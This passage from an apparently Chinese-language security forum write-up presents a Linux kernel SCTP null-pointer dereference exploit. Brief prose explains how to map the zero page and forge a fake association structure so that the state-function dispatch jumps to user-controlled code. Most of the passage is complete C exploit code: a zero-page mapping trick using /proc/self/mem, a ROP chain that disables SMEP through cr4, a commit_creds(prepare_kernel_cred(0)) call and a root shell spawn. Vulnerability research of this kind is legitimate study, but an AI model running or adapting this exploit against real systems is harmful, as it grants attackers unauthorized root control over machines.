  socklen_t len = sizeof(struct sockaddr_in);
  size_t rd_sz;
  char readbuf[20]="0";
  struct sockaddr_in clientAddr;

  rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),
  (struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
  if (rd_sz > 0)
    printf("recv data: %s\n",readbuf);

  if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0,0,0,0)<0){
    perror("SENDALL sendmsg");
  }

  pthread_exit(0);

}

int main(int argc, char** argv)
{
  int server_sockfd;
  pthread_t thread;
  struct sockaddr_in serverAddr;

  if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
    perror("socket");
    return 0;
  }
  bzero(&serverAddr, sizeof(serverAddr));
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  serverAddr.sin_port = htons(SERVER_PORT);
  inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

  if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
    perror("bind");
    goto out_;
  }

  listen(server_sockfd,5);

  if(pthread_create(&thread,NULL,client_func,NULL)){
    perror("pthread_create");
    goto out_;
  }

  send_recv(server_sockfd);
out_:
  close(server_sockfd);
  return 0;
}

EXP

通过之前crash的报错可以看到,asoc指针遍历到了一个非法地址0xd4。于是利用思路就是结合前一个0虚拟地址映射漏洞把0xd4mmap下来,然后可以在发生空指针引用的地址上伪造一个指针;接下来的编写exp,其实就是查看的我们结构体内的可控内存,能否找到一个实现任意地址读写的指针。

首先,我们要保证exp不会直接崩掉,就得使sctp_make_abort_user的返回结果不同,使它进到下一个逻辑中(sctp_primitive_ABORT

跟进一下sctp_make_abort_user

这个paylen是我们传进的参数,可以置0让函数正常返回

crash的问题解决了,下面就是找可控指针,于是我们看一下sctp_primitive_ABORT的定义:

primitive.c

是通过内联的方式实现的,重点看我框出来的部分,首先stateep都是asoc的成员变量,都是可控的,然后把它们作为参数调用了sctp_do_sm,继续跟进

这里就可以看到通过state_fn直接进行了函数调用,而state_fn是由netevent_typestatesubtype决定的,其中event_typesubtype是常数,netsctp_sendmsg_check_sflags中的sk取值而来,skasoc的成员,可控,之前我们已经得知了state可控。

所以,所有变量都可控,继续进到sctp_sm_lookup_event函数

这里需要注意的是,在sctp_primitive_ABORT里面就已经设置eventSCTP_EVENT_T_PRIMITIVE

再看DO_LOOKUP

最后,我们的state_fn就是这里的rtn变量,state是可控的,我们可以先打个断点查看&_table[event_subtype._type]的值,再根据偏移找一个索引,使得最后rtn等于一个用户空间的地址,这样就可以mmap下来执行shellcode

当前这个exp只能绕过smep保护

#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h> 
#include <malloc.h>
#include <sys/mman.h>
#include <err.h>
#include <signal.h>

#define SERVER_PORT 6666
#define SCTP_GET_ASSOC_ID_LIST  29
#define SCTP_RESET_ASSOC  120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET  118

struct sock
{
        char pad1[0x24];
        void *net;
        char pad[0x278];
        int type;
};

struct sctp_association
{
        char pad1[0x18];
        struct sock *sk;
        char pad2[0x34];
        char *ep;
        char pad3[0x158];
        int state;
};

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1074b00; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xc10747a0; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
    asm(
        "movl %%cs, %0;"
        "movl %%ss, %1;"
        "movl %%esp, %2;"
        "pushf;"
        "popl %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
  __asm__ __volatile__(" mov  %edx,%esp;");
  commit_creds(prepare_kernel_cred(0));
  asm(
    "pushl   %0;"
    "pushl   %1;"
    "pushl   %2;"
    "pushl   %3;"
    "pushl   $shell;"
    "iret;"
    ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
        printf("root\n");
        system("/bin/sh");
        exit(0);
}

void mmap_zero()
{
  save_stat();
  unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
        if (addr != 0x10000)
                err(2,"mmap failed");
        int fd = open("/proc/self/mem",O_RDWR);
        if (fd == -1)
                err(2,"open mem failed");
        char cmd[0x100] = {0};
        sprintf(cmd, "su >&%d < /dev/null", fd);
        while (addr)
        {
                addr -= 0x1000;
                if (lseek(fd, addr, SEEK_SET) == -1)
                        err(2, "lseek failed");
                system(cmd);
        }
        printf("contents:%s\n",(char *)1);

  struct sctp_association * sctp_ptr = (struct sctp_association *)0xbc;
        sctp_ptr->sk = (struct sock *)0x1000;
        sctp_ptr->sk->type = 0x2;
        sctp_ptr->state = 0x7cb0954; // offset, &_table[event_subtype._type][(int)state] = 0x7760
        sctp_ptr->ep = (char *)0x2000;
  *(sctp_ptr->ep + 0x8e) = 1;
  unsigned long* ptr4 = (unsigned long*)0x7760;  // TODO:change it
  printf("templine:%p\n", &templine);
  // ptr4[0] = (unsigned long)&templine;
  ptr4[0] = 0xc101c330;  // mov %ebx,%esp; pop %ebx; pop %edi; pop %ebp;
  int i = 2;
  unsigned long *stack = (unsigned long*)0;

  stack[i++] = 0x10;
  stack[i++] = 0xc101cee5;  // pop %eax; leave; ret;
  stack[i++] = 0x6d0;
  stack[i++] = 0xc1022c89;  // mov %eax,%cr4; pop %ebp; ret;
  stack[i++] = 0x1c;
  stack[i++] = (unsigned long)&templine;
}

void* client_func(void* arg)
{
  int socket_fd;
  struct sockaddr_in serverAddr;
  struct sctp_event_subscribe event_;
  int s;

  char *buf = "test";

  if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
    perror("client socket");
    pthread_exit(0);
  }
  bzero(&serverAddr, sizeof(serverAddr));
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  serverAddr.sin_port = htons(SERVER_PORT);
  inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

  printf("send data: %s\n",buf);
  if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0,0,0,0)==-1){
    perror("client sctp_sendmsg");
    goto client_out_;
  }

client_out_:
    //close(socket_fd);
  pthread_exit(0);
}

void* send_recv(int server_sockfd)
{
  int msg_flags;
  socklen_t len = sizeof(struct sockaddr_in);
  size_t rd_sz;
  char readbuf[20]="0";
  struct sockaddr_in clientAddr;

  rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
  if (rd_sz > 0)
    printf("recv data: %s\n",readbuf);
  rd_sz = 0;
  printf("Start\n");
  if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0x44,0,0,0)<0){
    perror("SENDALL sendmsg");
  }

  pthread_exit(0);  
}

int main(int argc, char** argv)
{
  int server_sockfd;
  pthread_t thread;
  struct sockaddr_in serverAddr;

  if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
    perror("socket");
    return 0;
  }
  bzero(&serverAddr, sizeof(serverAddr));
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  serverAddr.sin_port = htons(SERVER_PORT);
  inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

  if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
    perror("bind");
    goto out_;
  }

  listen(server_sockfd,5);

  if(pthread_create(&thread,NULL,client_func,NULL)){
    perror("pthread_create");
    goto out_;
  }
  mmap_zero();
  send_recv(server_sockfd);
out_:
  close(server_sockfd);
  return 0;
}

特别感谢

lm0963@De1ta

linguopeng@Sixstars

P4nda@Dubhe

点击收藏 | 7 关注 | 3 打赏
登录 后跟帖